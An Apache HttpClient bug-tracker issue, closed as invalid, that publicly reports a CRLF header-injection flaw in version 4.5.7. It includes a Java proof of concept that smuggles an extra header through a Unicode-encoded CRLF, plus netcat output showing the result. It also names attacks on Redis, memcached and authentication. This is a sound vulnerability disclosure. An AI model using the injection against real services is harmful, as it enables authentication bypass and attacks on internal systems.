Uploaded image for project: 'HttpComponents HttpClient'
  1. HttpComponents HttpClient
  2. HTTPCLIENT-1974

CRLF injection vulnerability in setting/adding HTTP headers

    XMLWordPrintableJSON

    Details

    • Type: Bug
    • Status: Closed
    • Priority: Major
    • Resolution: Invalid
    • Affects Version/s: 4.5.7
    • Fix Version/s: None
    • Component/s: HttpClient (classic)
    • Labels:
      None

      Description

      Hello,

       

      Note: This vulnerability has already been reported using a private channel. Unfortunately, it was deemed as non-issue by maintainers. I'm posting it here for public visibility.

       

      Summary

      HttpClient in versions 4.5.7 and below is vulnerable to CRLF injection when adding or setting headers on an HTTP request. Attacker who can control the value of any header in a request created using HttpClient could exploit this vulnerability to add arbitrary headers and attack internal services, like a webserver, Redis, memcached, etc.

       

      Details

      The current version of HttpClient does not properly filter unicode values, resulting in the sequence '\u560d\u560a' being converted to `\r\n` and causing unintended behavior. When the value (or part of the value) of any header set when constructing an HTTP request using HttpClient is controlled by an attacker, it allows them to insert arbitrary content to the new line of the HTTP header.

       

      Proof of concept

      Consider this piece of code, where variable "attackerControlledValue" simulates an attacker-controlled input.
       

      import org.apache.http.client.methods.HttpGet;
      import org.apache.http.impl.client.CloseableHttpClient;
      import org.apache.http.impl.client.HttpClients;
      
      
      public class Main {
         public final static void main(String[] args) throws Exception {
             CloseableHttpClient httpclient = HttpClients.createDefault();
             String attackerControlledValue = "1\u560d\u560aX-But-Not-This-One: oh no!";
             try {
                 HttpGet httpget = new HttpGet("http://127.0.0.1:8080/");
                 httpget.addHeader("X-I-Expect-This-Header", attackerControlledValue);
                 httpclient.execute(httpget);
             } finally {
                 httpclient.close();
             }
         }
      }

       
       

      We set up a netcat listener on port 8080 and run this code:

       

      $ nc -l 8080
      GET / HTTP/1.1
      X-I-Expect-This-Header: 1
      X-But-Not-This-One: oh no!
      Host: 127.0.0.1:8080
      Connection: Keep-Alive
      User-Agent: Apache-HttpClient/4.5.7 (Java/1.8.0_172)
      Accept-Encoding: gzip,deflate
      

       

      We can see in the netcat output that the header "X-But-Not-This-One" is present in the request, which means the injection succeeded.

       

      Attack scenarios

      • By adding arbitrary HTTP headers it's possible to bypass authentication of some simple web services
      • Several simple services that communicate over HTTP (Redis, memcached) can be exploited by injecting valid commands

       

      Related vulnerabilities

      Here are some related CRLF injection vulnerabilities in other software:

        Attachments

          Activity

            People

            • Assignee:
              Unassigned
              Reporter:
              filipochnik Filip Ochnik
            • Votes:
              0 Vote for this issue
              Watchers:
              7 Start watching this issue

              Dates

              • Created:
                Updated:
                Resolved: